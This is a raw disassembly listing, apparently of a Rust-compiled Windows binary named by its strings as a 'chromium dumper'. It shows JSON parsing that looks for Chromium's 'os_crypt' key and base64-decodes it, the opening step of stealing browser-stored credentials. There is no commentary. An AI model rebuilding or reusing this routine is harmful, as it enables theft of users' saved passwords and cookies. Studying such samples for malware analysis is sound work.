mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
mov rcx, rsi
call fcn.14017f1df
cmp qword [rsp + 0x1e0], 0
je 0x1401289cb
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0xf0]
mov rdx, qword [rax + 0x40]
mov rax, qword [rsp + 0xf0]
mov rax, qword [rax + 0x38]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rdx
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], 0
mov byte [rsp + 0x60], 0x80
test rdx, rdx
je 0x140128a41
lea r15, [rsp + 0x48]
xor ecx, ecx
movabs rbp, 0x100002600
movzx ebx, byte [rax + rcx]
cmp rbx, 0x20
ja 0x140128a5f
bt rbp, rbx
jae 0x140128a5f
inc rcx
mov qword [rsp + 0x40], rcx
cmp rdx, rcx
jne 0x140128a24
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 5
lea rcx, [rsp + 0x30]
call fcn.1402aaf0d
jmp 0x140129062
cmp ebx, 0x5b
je 0x140128bda
cmp ebx, 0x7b
jne 0x140129039
lea r13, [rsp + 0x30]
mov byte [r13 + 0x30], 0x7f
inc rcx
mov qword [r13 + 0x10], rcx
mov r12b, 1
xor r14d, r14d
mov dl, 1
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
cmp rax, rcx
jae 0x140128f67
mov rbx, qword [rsp + 0x30]
movzx edi, byte [rbx + rax]
cmp rdi, 0x2c
ja 0x140128b05
bt rbp, rdi
jae 0x140128ac4
inc rax
mov qword [rsp + 0x40], rax
cmp rcx, rax
jne 0x140128aa2
jmp 0x140128f67
cmp rdi, 0x2c
jne 0x140128b05
test dl, dl
jne 0x1401291bf
inc rax
mov qword [rsp + 0x40], rax
cmp rax, rcx
jae 0x140128f78
movzx edi, byte [rbx + rax]
cmp rdi, 0x20
ja 0x140128b1a
bt rbp, rdi
jae 0x140128b1a
inc rax
mov qword [rsp + 0x40], rax
cmp rcx, rax
jne 0x140128ae3
jmp 0x140128f78
cmp edi, 0x7d
je 0x140128dfb
test r12b, r12b
je 0x14012921b
xor r12d, r12d
cmp dil, 0x22
jne 0x14012912f
inc rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x58], 0
lea rcx, [rsp + 0x1e0]
mov rdx, r13
mov r8, r15
call fcn.1401418d3
cmp dword [rsp + 0x1e0], 2
mov rax, qword [rsp + 0x1e8]
je 0x140128f91
cmp qword [rsp + 0x1f0], 8
jne 0x140128b78
movabs rcx, 0x74707972635f736f
cmp qword [rax], rcx
je 0x140128b90
mov rcx, r13
call fcn.14011aa58
xor edx, edx
test rax, rax
je 0x140128a8a
jmp 0x140128f91
test r14, r14
jne 0x1401294be
mov rcx, r13
call fcn.140143838
test rax, rax
jne 0x1401294cf
lea rcx, [rsp + 0x1e0]
mov rdx, r13
call fcn.14001a524
mov r14, qword [rsp + 0x1e0]
test r14, r14
je 0x14012922f
mov rsi, qword [rsp + 0x1e8]
xor edx, edx
jmp 0x140128a8a
mov byte [rsp + 0x60], 0x7f
lea rbx, [rcx + 1]
mov qword [rsp + 0x40], rbx
cmp rbx, rdx
jae 0x140128c27
mov ebx, 1
sub rbx, rdx
add rcx, 2
movzx edx, byte [rax + rcx - 1]
cmp rdx, 0x20
ja 0x140128dc4
bt rbp, rdx
jae 0x140128dc4
mov qword [rsp + 0x40], rcx
lea rdx, [rbx + rcx]
inc rdx
inc rcx
cmp rdx, 2
jne 0x140128bf9
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 2
lea rcx, [rsp + 0x30]
call fcn.1402aaf0d
mov rsi, rax
jmp 0x140128f10
mov ecx, dword [rsp + 0x31]
mov edx, dword [rsp + 0x34]
mov rbp, qword [rsp + 0x3b8]
mov dword [rbp + 4], edx
mov dword [rbp + 1], ecx
movups xmm0, xmmword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0x20], xmm1
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], rcx
mov byte [rbp], al
mov rsi, qword [rsp + 0x3c0]
jmp 0x140128d03
mov ecx, dword [rsp + 0x31]
mov edx, dword [rsp + 0x34]
mov rbp, qword [rsp + 0x3b8]
mov dword [rbp + 4], edx
mov dword [rbp + 1], ecx
movups xmm0, xmmword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0x20], xmm1
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], rcx
mov byte [rbp], al
mov rdi, qword [rsp + 0x268]
mov rcx, rdi
xor edx, edx
call fcn.140131c72
cmp qword [rsp + 0x410], 0
mov rsi, qword [rsp + 0x3c0]
je 0x140128d03
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x338], 0
mov r12, qword [rsp + 0x418]
mov rbp, qword [rsp + 0x270]
je 0x140128e28
mov rcx, qword [0x1403ce198]
xor edi, edi
xor edx, edx
mov r8, qword [rsp + 0x1c8]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140128e2a
mov rsi, rcx
lea r15, [rsp + 0x30]
mov rdi, qword [rsp + 0x438]
sub rcx, rsi
mov rax, rcx
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 4
mov rcx, rsi
call fcn.140026fa9
cmp qword [rsp + 0x418], 0
je 0x140128d8c
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x3d0], 0
mov rsi, qword [rsp + 0x3c0]
je 0x140128db6
mov r8, qword [rsp + 0x3d8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test rsi, rsi
jne 0x14012372b
jmp 0x140123742
cmp dl, 0x5d
je 0x140129098
lea rsi, [rsp + 0x1e0]
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.14001a524
mov rdi, qword [rsi]
test rdi, rdi
je 0x140128f08
mov rsi, qword [rsp + 0x1e8]
jmp 0x140128f12
test r14, r14
lea r12, [rsp + 0x3f8]
jne 0x140128f9f
lea rcx, str.os_cryptstruct_OsCrypt_with_1_element
mov edx, 8
call fcn.1402a5b50
mov rsi, rax
xor r14d, r14d
jmp 0x140128f9f
xor edi, edi
mov rbx, qword [rsp + 0x188]
mov rcx, rbx
mov rdx, rdi
call fcn.140131a5f
cmp qword [rsp + 0x3c8], 0
mov r14, qword [rsp + 0x1d8]
je 0x140128e62
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
test rbp, rbp
je 0x140128e79
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x420]
mov rbp, qword [rsp + 0x1c0]
sub rax, rbp
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 4
mov rcx, rbp
call fcn.140026fa9
test r12, r12
je 0x140128ec1
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, qword [rsp + 0x438]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x3d0], 0
je 0x140128ee3
mov r8, qword [rsp + 0x3d8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test rsi, rsi
je 0x14011ba1c
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, qword [rsp + 0x468]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14011ba1c
mov rsi, qword [rsp + 0x1e8]
xor edi, edi
lea rcx, [rsp + 0x30]
inc byte [rcx + 0x30]
call fcn.1401438b4
mov qword [rsp + 0x1e0], rdi
mov qword [rsp + 0x1e8], rsi
mov qword [rsp + 0x1f0], rax
test rdi, rdi
je 0x140128f4e
xor ebx, ebx
test rax, rax
cmovne rsi, rax
cmove rbx, rdi
jmp 0x140128ff4
test rax, rax
je 0x140128f60
lea rcx, [rsp + 0x1f0]
call fcn.140004e3c
xor ebx, ebx
jmp 0x140128ff4
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 3
jmp 0x140128f87
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 5
lea rcx, [rsp + 0x30]
call fcn.1402aaf0d
xor r14d, r14d
mov rsi, rax
lea r12, [rsp + 0x3f8]
lea rcx, [rsp + 0x30]
inc byte [rcx + 0x30]
call fcn.140143989
mov qword [rsp + 0x1e0], r14
mov qword [rsp + 0x1e8], rsi
mov qword [rsp + 0x1f0], rax
test r14, r14
je 0x140128fd8
xor ebx, ebx
test rax, rax
cmovne rsi, rax
cmove rbx, r14
jmp 0x140128fec
test rax, rax
je 0x140128fea
lea rcx, [rsp + 0x1f0]
call fcn.140004e3c
xor ebx, ebx
mov r14, qword [rsp + 0x1d8]
test rbx, rbx
je 0x140129055
lea rcx, [rsp + 0x30]
call fcn.14014335f
mov rdi, rax
test rax, rax
jne 0x140129065
cmp qword [rsp + 0x48], 0
je 0x140129027
mov r8, qword [rsp + 0x50]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x100]
call fcn.140129678
jmp 0x14011f10f
lea r8, [0x14036e520]
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x280]
call fcn.1402a9a5a
mov rsi, rax
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.1402aafaa
mov rdi, rax
cmp qword [rsp + 0x48], 0
je 0x140129081
mov r8, qword [rsp + 0x50]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x100]
call fcn.140129678
mov bl, 0x18
mov rsi, rdi
jmp 0x14011f0c3
lea rdx, [0x140370bf8]
xor ecx, ecx
call fcn.1402a5ba9
jmp 0x140128c40
mov edx, 0x2b
call fcn.1402a6560
ud2
movzx eax, dil
cmp eax, 0x7d
jne 0x1401291bf
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 0x12
jmp 0x140128f87
mov qword [rsp + 0x20], rax
lea rcx, [0x1403a0f2b]
lea r9, fcn.14006467d
jmp 0x14012920b
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 0x10
jmp 0x140128f87
movups xmm0, xmmword [rsp + 0x100]
movups xmm1, xmmword [rsp + 0x110]
lea r8, [rsp + 0x30]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, str.srcchromiumdumper.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1403a0f2b]
lea r9, fcn.140004660
mov edx, 0x2b
call fcn.1402a68e0
ud2
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 8
jmp 0x140128f87
mov rsi, qword [rsp + 0x1e8]
jmp 0x1401294d2
movdqu xmm0, xmmword [rsp + 0x100]
movdqu xmm1, xmmword [rsp + 0x110]
lea r8, [rsp + 0x30]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srcchromiumdumper.rs
jmp 0x1401291f8
movdqu xmm0, xmmword [rsp + 0x100]
movdqu xmm1, xmmword [rsp + 0x110]
lea r8, [rsp + 0x30]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srcchromiumdumper.rs
jmp 0x1401291f8
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcchromiumdumper.rs
jmp 0x140129123
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcchromiumdumper.rs
jmp 0x140129123
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcchromiumdumper.rs
jmp 0x140129123
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcchromiumdumper.rs
jmp 0x140129123
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcchromiumdumper.rs
jmp 0x140129123
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcchromiumdumper.rs
jmp 0x140129123
movdqu xmm0, xmmword [rsp + 0x100]
movdqu xmm1, xmmword [rsp + 0x110]
lea r8, [rsp + 0x30]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srcchromiumdumper.rs
jmp 0x1401291f8
movdqu xmm0, xmmword [rsp + 0x100]
movdqu xmm1, xmmword [rsp + 0x110]
lea r8, [rsp + 0x30]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srcchromiumdumper.rs
jmp 0x1401291f8
lea r8, [rsp + 0x30]
mov qword [r8], rax
lea rax, str.srcchromiumdumper.rs
jmp 0x14012916a
lea r8, [rsp + 0x30]
mov qword [r8], rax
lea rax, str.srcchromiumdumper.rs
jmp 0x14012916a
lea r8, [rsp + 0x30]
mov qword [r8], rax
lea rax, str.srcchromiumdumper.rs
jmp 0x14012916a
lea r8, [rsp + 0x30]
mov qword [r8], rax
lea rax, str.srcchromiumdumper.rs
jmp 0x14012916a
movdqu xmm0, xmmword [rsp + 0x100]
movdqu xmm1, xmmword [rsp + 0x110]
lea r8, [rsp + 0x30]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srcchromiumdumper.rs
jmp 0x1401291f8
movups xmm0, xmmword [rsp + 0x100]
movups xmm1, xmmword [rsp + 0x110]
lea r8, [rsp + 0x30]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, str.srcchromiumdumper.rs
jmp 0x1401291f8
mov ecx, 0x48
mov edx, 8
call fcn.1402a5fb0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcchromiumdumper.rs
jmp 0x140129123
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcchromiumdumper.rs
jmp 0x140129123
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcchromiumdumper.rs
jmp 0x140129123
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcchromiumdumper.rs
jmp 0x140129123
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcchromiumdumper.rs
jmp 0x140129123
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcchromiumdumper.rs
jmp 0x140129123
lea r8, [rsp + 0x30]
mov qword [r8], rdi
lea rax, str.srcchromiumdumper.rs
jmp 0x14012916a
mov rax, qword [rsp + 0x38]
lea r8, [rsp + 0x100]
mov qword [r8], rax
lea rax, str.srcchromiumdumper.rs
jmp 0x14012916a
lea rcx, str.os_cryptstruct_OsCrypt_with_1_element
mov edx, 8
call fcn.1402a5c23
mov rsi, rax
xor r14d, r14d
jmp 0x140128f97
lea rcx, str.decoded_length_calculation_overflow
lea r8, [0x1402ae6f0]
mov edx, 0x23
jmp 0x140129502
lea rcx, str.Overflow_when_calculating_number_of_chunks_in_inputC:UsersBraVera.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.1_srcdecode.rs
lea r8, [0x1402b2908]
mov edx, 0x33
call fcn.1402a67f0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcchromiumdumper.rs
jmp 0x140129123
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcchromiumdumper.rs
jmp 0x140129123
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcchromiumdumper.rs
jmp 0x140129123
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcchromiumdumper.rs
jmp 0x140129123
lea rax, str.srcchromiumdumper.rs
mov ecx, 5
mov rdx, r8
mov r8, rax
call fcn.1402a6540
ud2
lea r8, [rsp + 0x30]
mov qword [r8], rdi
lea rax, str.srcchromiumdumper.rs
jmp 0x14012916a
mov rax, qword [rsp + 0x38]
lea r8, [rsp + 0x100]
mov qword [r8], rax
lea rax, str.srcchromiumdumper.rs
jmp 0x14012916a
lea r8, [rsp + 0x30]
mov qword [r8], rsi
lea rax, str.srcchromiumdumper.rs
jmp 0x14012916a
mov rax, qword [rsp + 0x38]
lea r8, [rsp + 0x100]
mov qword [r8], rax
lea rax, str.srcchromiumdumper.rs
jmp 0x14012916a
lea r8, [rsp + 0x100]
mov qword [r8], rdi
lea rax, str.srcchromiumdumper.rs
jmp 0x14012916a
mov rax, qword [rsp + 0x108]
lea r8, [rsp + 0x1e0]
mov qword [r8], rax
lea rax, str.srcchromiumdumper.rs
jmp 0x14012916a
lea r8, [rsp + 0x30]
mov qword [r8], rsi
lea rax, str.srcchromiumdumper.rs
jmp 0x14012916a
mov rax, qword [rsp + 0x38]
lea r8, [rsp + 0x100]
mov qword [r8], rax
lea rax, str.srcchromiumdumper.rs
jmp 0x14012916a
lea r8, [rsp + 0x30]
mov qword [r8], rdi
lea rax, str.srcchromiumdumper.rs
jmp 0x14012916a
mov rax, qword [rsp + 0x38]
lea r8, [rsp + 0x100]
mov qword [r8], rax
lea rax, str.srcchromiumdumper.rs
jmp 0x14012916a
lea r8, [rsp + 0x30]
mov qword [r8], rdx
lea rax, str.srcchromiumdumper.rs
jmp 0x14012916a